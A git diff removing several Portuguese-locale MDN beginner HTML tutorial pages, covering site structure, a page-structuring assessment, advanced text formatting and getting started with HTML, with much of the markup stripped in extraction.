Once you've planned out the content of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience. This is called {{glossary("Information architecture")}}. In a large, complex website, a lot of planning can go into this process, but for a simple website of a few pages this can be fairly simple, and fun!

- -
    -
  1. Bear in mind that you'll have a few elements common to most (if not all) pages — such as the navigation menu, and the footer content. If your site is for a business, for example, it's a good idea to have your contact information available in the footer on each page. Note down what you want to have common to every page.the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy
  2. -
  3. Next, draw a rough sketch of what you might want the structure of each page to look like (it might look like our simple website above). Note what each block is going to be.A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer
  4. -
  5. Now, brainstorm all the other (not common to every page) content you want to have on your website — write a big list down.A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info
  6. -
  7. Next, try to sort all these content items into groups, to give you an idea of what parts might live together on different pages. This is very similar to a technique called {{glossary("Card sorting")}}.The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things
  8. -
  9. Now try to sketch a rough sitemap — have a bubble for each page on your site, and draw lines to show the typical workflow between pages. The homepage will probably be in the center, and link to most if not all of the others; most of the pages in a small site should be available from the main navigation, although there are exceptions. You might also want to include notes about how things might be presented.A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page
  10. -
- -

Active learning: create your own sitemap

- -

Try carrying out the above exercise for a website of your own creation. What would you like to make a site about?

- -
-

Note: Save your work somewhere; you might need it later on.

-
- -

Summary

- -

At this point you should have a better idea about how to structure a web page/site. In the last article of this module, we'll study how to debug HTML.

- -

See also

- - - -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introducao_ao_html/estruturar_pagina_de_conteudo/index.html b/files/pt-pt/learn/html/introducao_ao_html/estruturar_pagina_de_conteudo/index.html deleted file mode 100644 index 1f6310a395..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/estruturar_pagina_de_conteudo/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Estruturar uma página de conteúdo -slug: Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo -tags: - - Avaliação - - Estrutura - - HTML - - Principiante - - semántica -translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
- -

Structuring a page of content ready for laying it out using CSS is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.

- - - - - - - - - - - - -
Prerequisites:Before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on Document and website structure.
Objective:To test knowledge of web page structures, and how to represent a prospective layout design in markup.
- -

Starting point

- -

To get this assessment started, you should go and grab the zip file containing all the starting assets. The zip file contains:

- - - -

Create the example on your local computer, or alternatively use a site like JSBin or Thimble to do your assessment.

- -

Project brief

- -

For this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it. It needs to have:

- - - -

You need to add a suitable wrapper for:

- - - -

You should also:

- - - -

Hints and tips

- - - -

Example

- -

The following screenshot shows an example of what the homepage might look like after being marked up.

- -

The finished example for the assessment; a simple webpage about birdwatching, including a heading of "Birdwatching", bird photos, and a welcome message

- -

Assessment

- -

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

- -

{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introducao_ao_html/formatacao_avancada_texto/index.html b/files/pt-pt/learn/html/introducao_ao_html/formatacao_avancada_texto/index.html deleted file mode 100644 index 882f2eec7b..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/formatacao_avancada_texto/index.html +++ /dev/null @@ -1,691 +0,0 @@ ---- -title: Formatação avançada de texto -slug: Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto -tags: - - Aprender - - Guía - - HTML - - Principiante - - Texto - - abreviatura - - semántica -translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}
- -

There are many other elements in HTML for formatting text, which we didn't get to in the HTML text fundamentals article. The elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). Here you'll learn about marking up quotations, description lists, computer code and other related text, subscript and superscript, contact information, and more.

- - - - - - - - - - - - -
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals.
Objective:To learn how to use lesser-known HTML elements to mark up advanced semantic features.
- -

Description lists

- -

In HTML text fundamentals, we walked through how to mark up basic lists in HTML, but we didn't mention the third type of list you'll occasionally come across — description lists. The purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers. Let's look at an example of a set of terms and definitions:

- -
soliloquy
-In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
-monologue
-In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
-aside
-In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information
- -

Description lists use a different wrapper than the other list types — {{htmlelement("dl")}}; in addition each term is wrapped in a {{htmlelement("dt")}} (description term) element, and each description is wrapped in a {{htmlelement("dd")}} (description definition) element. Let's finish marking up our example:

- -
<dl>
-  <dt>soliloquy</dt>
-  <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
-  <dt>monologue</dt>
-  <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
-  <dt>aside</dt>
-  <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought, or piece of additional background information.</dd>
-</dl>
- -

The browser default styles will display description lists with the descriptions indented somewhat from the terms. MDN's styles follow this convention fairly closely, but also embolden the terms for extra definition.

- -
-
soliloquy
-
In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
-
monologue
-
In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
-
aside
-
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
-
- -

Note that it is permitted to have a single term with multiple descriptions, for example:

- -
-
aside
-
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
-
In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)
-
- -

Active learning: Marking up a set of definitions

- -

It's time to try your hand at description lists; add elements to the raw text in the Input field so that it appears as a description list in the Output field. You could try using your own terms and descriptions if you like.

- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

- -

Quotations

- -

HTML also has features available for marking up quotations; which element you use depends on whether you are marking up a block or inline quotation.

- -

Blockquotes

- -

If a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a {{htmlelement("blockquote")}} element to signify this, and include a URL pointing to the source of the quote inside a {{htmlattrxref("cite","blockquote")}} attribute. For example, the following markup is taken from the MDN <blockquote> element page:

- -
<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
- -

To turn this into a block quote, we would just do this:

- -
<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
-</blockquote>
- -

Browser default styling will render this as an indented paragraph, as an indicator that it is a quote; MDN does this, but also adds some extra styling:

- -
-

The HTML <blockquote> Element (or HTML Block Quotation Element) indicates that the enclosed text is an extended quotation.

-
- -

Inline quotations

- -

Inline quotations work in exactly the same way, except that they use the {{htmlelement("q")}} element. For example, the below bit of markup contains a quotation from the MDN <q> page:

- -
<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
-for short quotations that don't require paragraph breaks.</q></p>
- -

Browser default styling will render this as normal text put in quotes to indicate a quotation, like so:

- -

The quote element — <q> — is intended for short quotations that don't require paragraph breaks.

- -

Citations

- -

The content of the {{htmlattrxref("cite","blockquote")}} attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. There is no way to get the browser to display the contents of cite, without writing your own solution using JavaScript or CSS. If you want to make the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way.

- -

There is a {{htmlelement("cite")}} element, but this is meant to contain the title of the resource being quoted, e.g. the name of the book. There is no reason however why you couldn't link the text inside <cite> to the quote source in some way:

- -
<p>According to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-<cite>MDN blockquote page</cite></a>:
-</p>
-
-<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
-  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
-</blockquote>
-
-<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
-for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">
-<cite>MDN q page</cite></a>.</p>
- -

Citations are styled in italic font by default. You can see this code at work in our quotations.html example.

- -

Active learning: Who said that?

- -

Time for another active learning example! In this example we'd like you to:

- -
    -
  1. Turn the middle paragraph into a blockquote, which includes a cite attribute.
  2. -
  3. Turn part of the third paragraph into an inline quote, which includes a cite attribute.
  4. -
  5. Include a <cite> element for each link to say what the title of the quoted source is.
  6. -
- -

The citation sources you need are:

- - - -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}

- -

Abbreviations

- -

Another fairly common element you'll meet when looking around the Web is {{htmlelement("abbr")}} — this is used to wrap around an abbreviation or acronym, and provide a full expansion of the term (included inside a {{htmlattrxref("title")}} attribute.) Let's look at a couple of examples:

- -
<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
-
-<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
- -

These will come out looking something like this (the expansion will appear in a tooltip when the term is hovered over):

- -

We use HTML to structure our web documents.

- -

I think Rev. Green did it in the kitchen with the chainsaw.

- -
-

Note: There is another element, {{htmlelement("acronym")}}, which basically does the same thing as <abbr>, and was intended specifically for acronyms rather than abbreviations. This however has fallen into disuse — it wasn't supported in browsers as well as <abbr>, and has such a similar function that it was considered pointless to have both. Just use <abbr> instead.

-
- -

Active learning: marking up an abbreviation

- -

For this simple active learning assignment, we'd like you to simply mark up an abbreviation. You can use our sample below, or replace it with one of your own. 

- - - -

{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}

- -

Marking up contact details

- -

HTML has an element for marking up contact details — {{htmlelement("address")}}. This simply wraps around your contact details, for example:

- -
<address>
-  <p>Chris Mills, Manchester, The Grim North, UK</p>
-</address>
- -

One thing to remember however is that the {{htmlelement("address")}} element is meant for marking up the contact details of the person who wrote the HTML document, not any address. So the above would only be ok if Chris had written the document the markup appears on. Note that something like this would also be ok:

- -
<address>
-  <p>Page written by <a href="../authors/chris-mills/">Chris Mills</a>.</p>
-</address>
- -

Superscript and subscript

- -

You will occasionally need to use superscript and subscript when marking up items like dates, chemical formulae, and mathematical equations so they have the correct meaning. The {{htmlelement("sup")}} and {{htmlelement("sub")}} elements handle this job. For example:

- -
<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
-<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
-<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
- -

The output of this code looks like so:

- -

My birthday is on the 25th of May 2001.

- -

Caffeine's chemical formula is C8H10N4O2.

- -

If x2 is 9, x must equal 3 or -3.

- -

Representing computer code

- -

There are a number of elements available for marking up computer code using HTML:

- - - -

Let's look at a few examples. You should try having a play with these (try grabbing a copy of our other-semantics.html sample file):

- -
<pre><code>var para = document.querySelector('p');
-
-para.onclick = function() {
-  alert('Owww, stop poking me!');
-}</code></pre>
-
-<p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p>
-
-<p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p>
-
-
-<p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
-
-<pre>$ <kbd>ping mozilla.org</kbd>
-<samp>PING mozilla.org (63.245.215.20): 56 data bytes
-64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>
- -

The above code will look like so:

- -

{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}

- -

Marking up times and dates

- -

HTML also provides the {{htmlelement("time")}} element for marking up times and dates in a machine-readable format. For example:

- -
<time datetime="2016-01-20">20 January 2016</time>
- -

Why is this useful? Well, there are many different ways that humans write down dates. The above date could be written as:

- - - -

But these different forms cannot be easily recognised by computers — what if you wanted to automatically grab the dates of all events in a page and insert them into a calendar? The {{htmlelement("time")}} element allows you to attach an unambiguous, machine-readable time/date for this purpose.

- -

The basic example above just provides a simple machine readable date, but there are many other options that are possible, for example:

- -
<!-- Standard simple date -->
-<time datetime="2016-01-20">20 January 2016</time>
-<!-- Just year and month -->
-<time datetime="2016-01">January 2016</time>
-<!-- Just month and day -->
-<time datetime="01-20">20 January</time>
-<!-- Just time, hours and minutes -->
-<time datetime="19:30">19:30</time>
-<!-- You can do seconds and milliseconds too! -->
-<time datetime="19:30:01.856">19:30:01.856</time>
-<!-- Date and time -->
-<time datetime="2016-01-20T19:30">7.30pm, 20 January 2016</time>
-<!-- Date and time with timezone offset-->
-<time datetime="2016-01-20T19:30+01:00">7.30pm, 20 January 2016 is 8.30pm in France</time>
-<!-- Calling out a specific week number-->
-<time datetime="2016-W04">The fourth week of 2016</time>
- -

Summary

- -

That marks the end of our study of HTML text semantics. Bear in mind that what you have seen during this course is not an exhaustive list of HTML text elements — we wanted to try to cover the essentials, and some of the more common ones you will see in the wild, or at least might find interesting. To find way more HTML elements, you can take a look at our HTML element reference (the Inline text semantics section would be a great place to start.) In the next article we will look at the HTML elements you'd use to structure the different parts of an HTML document.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introducao_ao_html/index.html b/files/pt-pt/learn/html/introducao_ao_html/index.html deleted file mode 100644 index 6e2ac788fd..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Introdução ao HTML -slug: Learn/HTML/Introducao_ao_HTML -tags: - - CodingScripting - - Estrutura - - HTML - - Hiperligações - - Introdução ao HTML - - Texto - - head - - semántica -translation_of: Learn/HTML/Introduction_to_HTML ---- -
{{LearnSidebar}}
- -

Na sua essência, {{glossary("HTML")}} é uma linguagem bastante simples, composta por elementos que podem ser aplicados em partes de texto para lhes dar um significado diferente num documento (É um parágrafo? Uma lista com marcas? É parte de uma tabela?), estruturar um documento em secções lógicas (Tem um cabeçalho? Três colunas de conteúdo? Um menu de navegação?) e incorporar conteúdo como imagens e vídeos numa página. Este módulo irá apresentar as duas primeiras aplicações e introduzir os conceitos e a sintaxe fundamentais que você precisa de saber para compreender HTML.

- -

Pré-requisitos

- -

Antes de começar este módulo, não precisa de ter qualquer conhecimento prévio de  HTML, mas deve pelo menos ter alguma familiaridade com utilização de computadores, e utilização passiva da Web (ou seja, apenas na perspectiva de consumidor e não de criação e publicação de conteúdos). Deverá ter um ambiente de trabalho básico configurado de acordo com as indicações que pode encontrar em Instalar software básico, e compreender como se criam e gerem ficheiros, como indicado na secção Lidar com ficheiros — estas duas secções fazem ambas parte do nosso módulo completo de iniciação em Primeiros passos na web.

- -
-

Nota: Se está a trabalhar num computador, tablet ou outro dispositivo em que não tem possibilidade de criar ficheiros, pode testar a maioria dos exemplos de código num programa de edição de código online como o JSBin ou o Thimble.

-
- -

Guias

- -

Este módulo contém os seguintes artigos, os quais vão guiá-lo ao longo da teoria básica de HTML, e dar-lhe amplas oportunidades para experimentar o que aprendeu.

- -
-
Começar com HTML
-
Para começar, cobrimos as bases absolutas do HTML — definir elementos, atributos e todos os termos importantes de que já ouviu falar, e como se encaixam na linguagem. Também mostramos a estrutura de um elemento HTML, a estrutura de uma página HTML típica e explicamos outras funcionalidades básicas mas importantes da linguagem. Ao longo do caminho, vamos brincar com algum HTML, para lhe despertar o interesse!
-
O que lhe vai no cabeçalho? Metadadados em HTML
-
O cabeçalho de um documento HTML é parte que não é mostrada no navegador quando a página é carregada. Contém informação como o título da página ({{htmlelement("title")}}), ligações para {{glossary("CSS")}} (se quiser estilizar o conteúdo HTML com CSS), ligações a ícones personalizados, e metadados (dados sobre HTML, por exemplo, quem o escreveu e palavras-chave importantes que descrevem o documento).
-
Fundamentos do texto HTML
-
Uma das principais funções do HTML é atribuir significado (semântica) ao texto, para que o navegador o apresente corretamente. Este artigo explora como utilizar HTML para repartir o bloco de texto em títulos e parágrafos, dar ênfase/importância a palavras, criar listas e mais.
-
Criar hiperligações
-
Hiperligações são muito importantes — são o que torna a internet na internet. Este artigo mostra a sintaxe necessária para criar uma ligação (um link), e discute boas práticas a ter quando se criam hiperligações.
-
Formatação avançada de texto
-
Há muitos outros elementos em HTML para formatar texto, que não vimos em Fundamentos do texto HTML. Estes elementos são menos conhecidos, mas é útil conhecê-los. Neste artigo aprenderá a demarcar citações, listas de descrições, código de computador e outro texto relacionado, texto sobre e por baixo da linha, informação de contactos e mais.
-
Estrutura do documento e do website
-
Além de definir partes individuais da página (como parágrafos e imagens), HTML também define secções do site (como cabeçalho, menu de navegação, coluna principal de conteúdo). Este artigo aborda como planear a estrutura básica de um site e como escrever HTML que represente essa estrutura.
-
Depurar HTML
-
É ótimo escrever HTML, mas como proceder se alguma coisa correr mal e não conseguir descobrir em que parte do código está o erro? Este artigo introduz algumas ferramentas que pode utilizar.
-
- -

Avaliações

- -

Estas avaliações testam o seu conhecimento das bases de HTML abrangidas nos guias suprarreferidos.

- -
-
Demarcar uma carta
-
Todos aprendemos a escrever uma carta mais cedo ou mais tarde; e é um exemplo útil para testar as nossas capacidades de formatação de texto! Nesta avaliação, damos-lhe uma carta para demarcar.
-
Estruturar uma página de conteúdo
-
Esta avaliação testa a sua capacidade de recorrer a HTML para estruturar uma página de conteúdo simples, que contém cabeçalho, rodapé, menu de navegação, conteúdo principal e barra lateral.
-
- -

Consultar também

- -
-
Básicos de literacia da Web 1 (inglês)
-
Um curso excelente da fundação Mozilla que explora e testa muitas das habilidades faladas no módulo de Introdução ao HTML. Os principiantes familiarizam-se com a leitura, escrita e participação na Web neste módulo de seis partes. Descubra as fundações da Web através da produção e colaboração.
-
diff --git a/files/pt-pt/learn/html/introducao_ao_html/iniciacao_html/index.html b/files/pt-pt/learn/html/introducao_ao_html/iniciacao_html/index.html deleted file mode 100644 index 981b23e556..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/iniciacao_html/index.html +++ /dev/null @@ -1,612 +0,0 @@ ---- -title: Começar com HTML -slug: Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML -tags: - - Comentário - - Elemento - - Guía - - HTML - - Principiante - - atributo - - espaço em branco - - referência de entidade -translation_of: Learn/HTML/Introduction_to_HTML/Getting_started ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML", "Learn/HTML/Introducao_ao_HTML")}}
- -

Neste artigo nós iremos abranger os básicos absolutos de HTML, para o iniciar — nós definimos os elementos, atributos, e todos os outros termos importantes que já poderá ter ouvido, e onde os incorporar na linguagem. Nós também mostramos como é que o elemento de HTML é estruturado, como é que uma página HTML é estruturada, e explicar outras funcionalidades de linguagem básica importantes. E nós iremos algumas demonstrações de algum HTML, para o motivar!

- - - - - - - - - - - - -
Pré-requisitos:Basic computer literacy, basic software installed, and basic knowledge of working with files.
Objetivo:To gain basic familiarity with the HTML language, and get some practice writing a few HTML elements.
- -

O que é HTML?

- -

{{glossary("HTML")}} (Linguagem de Marcação de Hipertexto) não é uma linguagem de programação; é uma linguagem de marcação utilizada para comunicar ao seu navegador como estruturar as páginas da Web que visita. Este pode ser tão complicado ou tão simples como o programador da Web o desejar. HTML consiste em uma série de  {{glossary("Element", "elementos")}}, que utiliza para incluir, ou marcar diferentes partes do conteúdo para que este apareça ou atue de uma determinada maneira. A inclusão de {{glossary("Tag", "etiquetas")}} pode tornar uma parte do conteúdo em uma hiperligação para interligar com outra página na Web, colocar as palavras em itálico, e assim por diante. Por exemplo, siga a seguinte linha de conteúdo:

- -
My cat is very grumpy
- -

Se quisermos que a linha esteja demarcada, podemos especificar que é um parágrafo, encerrando-a num elemento com tag de parágrafo ({{htmlelement("p")}}) :

- -
<p>My cat is very grumpy</p>
- -

Anatomia de um elemento HTML

- -

Vamos explorar o nosso elemento parágrafo um pouco mais:

- -

- -

As partes principais do nosso elemento são:

- -
    -
  1. A tag de abertura: Isto consiste no nome do elemento (neste caso, p), envolta por colchetes angulares de abertura ( < ) e fecho ( > ). Isto especifica onde o elemento começa, ou onde começa a ter efeito - neste caso, onde está o início do parágrafo.
  2. -
  3. A tag de fecho: Isto é o mesmo que a tag de abertura, só que inclui um traço ( \ ) antes do nome do elemento. Isto indica onde é que o elemento acaba - neste caso, onde é o fim do parágrafo. Esquecer-se de incluir uma tag de fecho é um erro comum de principiante e pode levar a resultados estranhos.
  4. -
  5. O conteúdo: É o conteúdo do elemento, que neste caso é só texto.
  6. -
  7. O elemento: A tag de abertura mais a tag de fecho mais o conteúdo é igual ao elemento.
  8. -
- -

Aprendizagem ativa: criar o seu primeiro HTML

- -

Edit the line below in the Input area by wrapping it with the tags <em> and </em> (put <em> before it to open the element, and </em> after it, to close the element) — this should give the line italic emphasis! You'll be able to see your changes update live in the Output area.

- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 300) }}

- -

Nesting elements

- -

You can put elements inside other elements too — this is called nesting. If we wanted to state that our cat is very grumpy, we could wrap the word "very" in a {{htmlelement("strong")}} element, which means that the word is to be strongly emphasized:

- -
<p>My cat is <strong>very</strong> grumpy.</p>
- -

You do however need to make sure that your elements are properly nested: in the example above we opened the p element first, then the strong element, therefore we have to close the strong element first, then the p. The following is incorrect:

- -
<p>My cat is <strong>very grumpy.</p></strong>
- -

The elements have to open and close correctly so they are clearly inside or outside one another. If they overlap like above, then your web browser will try to make a best guess at what you were trying to say, and you may well get unexpected results. So don't do it!

- -

Block versus inline elements

- -

There are two important categories of elements in HTML, which you should know about — block-level elements and inline elements.

- - - -

Take the following example:

- -
<em>first</em><em>second</em><em>third</em>
-
-<p>fourth</p><p>fifth</p><p>sixth</p>
-
- -

{{htmlelement("em")}} is an inline element, so as you can see below, the first three elements sit on the same line as one another with no space in between. On the other hand, {{htmlelement("p")}} is a block-level element, so each element appears on a new line, with space above and below each (the spacing is due to default CSS styling that the browser applies to paragraphs).

- -

{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200) }}

- -
-

Nota: HTML5 redefined the element categories in HTML5: see Element content categories. While these definitions are more accurate and less ambiguous than the ones that went before, they are a lot more complicated to understand than "block" and "inline", so we will stick with these throughout this topic.

-
- -
-

Nota: You can find useful reference pages that include lists of block and inline elements — see Block-level elements and Inline elements.

-
- -

Elementos vazios

- -

Not all elements follow the above pattern of opening tag, content, closing tag. Some elements consist only of a single tag, which is usually used to insert/embed something in the document at the place it is included. For example, the {{htmlelement("img")}} element embeds an image file onto a page in the position it is included in:

- -
<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png">
- -

This would output the following on your page:

- -

{{ EmbedLiveSample('Empty_elements', 700, 300) }}

- -
-

Nota: Empty elements are also sometimes called void elements.

-
- -

Atributos

- -

Elements can also have attributes, which look like this:

- -

&lt;p class="editor-note">My cat is very grumpy&lt;/p>

- -

Attributes contain extra information about the element which you don't want to appear in the actual content. In this case, the class attribute allows you to give the element an identifying name that can be later used to target the element with style information and other things.

- -

An attribute should have:

- -
    -
  1. A space between it and the element name (or the previous attribute, if the element already has one or more attributes.)
  2. -
  3. The attribute name, followed by an equals sign.
  4. -
  5. An attribute value, with opening and closing quote marks wrapped around it.
  6. -
- -

Aprendizagem ativa: Adicionar atributos a um elemento

- -

Another example of an element is {{htmlelement("a")}} — this stands for anchor and will make the piece of text it wraps around into a hyperlink. This can take a number of attributes, but several are as follows:

- - - -

Edit the line below in the Input area to turn it into a link to your favourite website. First, add the <a> element. Second, add the href attribute and the title attribute. Lastly, specify target attribute to open the link in the new tab. You'll be able to see your changes update live in the Output area. You should see a link that when hovered over displays the title attribute's content, and when clicked navigates to the web address in the href element. Remember that you need to include a space between the element name, and each attribute.

- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code2', 700, 300) }}

- -

Atributos de booliano

- -

You'll sometimes see attributes written without values — this is perfectly allowed. These are called boolean attributes, and they can only have one value, which is generally the same as the attribute name. As an example, take the {{htmlattrxref("disabled", "input")}} attribute, which you can assign to form input elements if you want them to be disabled (greyed out) so the user can't enter any data in them.

- -
<input type="text" disabled="disabled">
- -

As shorthand, it is perfectly allowable to write this as follows (we've also included a non-disabled form input element for reference, to give you more of an idea what is going on):

- -
<input type="text" disabled>
-
-<input type="text">
-
- -

Both will give you an output as follows:

- -

{{ EmbedLiveSample('Boolean_attributes', 700, 100) }}

- -

Omitir aspas em volta de valores de atributo

- -

When you look around the World Wide Web, you'll come across all kind of strange markup styles, including attribute values without quotes. This is allowable in certain circumstances, but will break your markup in others. For example, if we revisit our link example from earlier, we could write a basic version with only the href attribute, like this:

- -
<a href=https://www.mozilla.org/>favourite website</a>
- -

However, as soon as we add the title attribute in this style, things will go wrong:

- -
<a href=https://www.mozilla.org/ title=The Mozilla homepage>favourite website</a>
- -

At this point the browser will misinterpret your markup, thinking that the title attribute is actually three attributes — a title attribute with the value "The", and two boolean attributes, Mozilla and homepage. This is obviously not what was intended, and will cause errors or unexpected behaviour in the code, as seen in the live example below. Try hovering over the link to see what the title text is!

- -

{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100) }}

- -

Our advice is to always include the attribute quotes — it avoids such problems, and results in more readable code too.

- -

Aspas simples ou duplas?

- -

In this article you'll notice that the attributes are all wrapped in double quotes. You might however see single quotes in some people's HTML. This is purely a matter of style, and you can feel free to choose which one you prefer. Both the following lines are equivalent:

- -
<a href="http://www.example.com">A link to my example.</a>
-
-<a href='http://www.example.com'>A link to my example.</a>
- -

You should however make sure you don't mix them together. The following will go wrong!

- -
<a href="http://www.example.com'>A link to my example.</a>
- -

If you've used one type of quote in your HTML, you can include the other type of quote without causing any problems:

- -
<a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a>
- -

However if you want to include a quote within the quotes where both the quotes are of the same type(single quote or double quote), you'll have to use HTML entities for the quotes.

- -

Anatomia de uma documento HTML

- -

That wraps up the basics of individual HTML elements, but they aren't very useful on their own. Now we'll look at how individual elements are combined to form an entire HTML page:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>My test page</title>
-  </head>
-  <body>
-    <p>This is my page</p>
-  </body>
-</html>
- -

Here we have:

- -
    -
  1. <!DOCTYPE html>: The doctype. In the mists of time, when HTML was young (about 1991/2), doctypes were meant to act as links to a set of rules that the HTML page had to follow to be considered good HTML, which could mean automatic error checking and other useful things. They used to look something like this: - -
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    -"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    - However, these days no one really cares about them, and they are really just a historical artifact that needs to be included for everything to work right. <!DOCTYPE html> is the shortest string of characters that counts as a valid doctype; that's all you really need to know.
  2. -
  3. <html></html>: The {{htmlelement("html")}} element. This element wraps all the content on the entire page, and is sometimes known as the root element.
  4. -
  5. <head></head>: The {{htmlelement("head")}} element. This element acts as a container for all the stuff you want to include on the HTML page that isn't the content you are showing to your page's viewers. This includes things like keywords and a page description that you want to appear in search results, CSS to style our content, character set declarations, and more. You'll learn more about this in the next article in the series.
  6. -
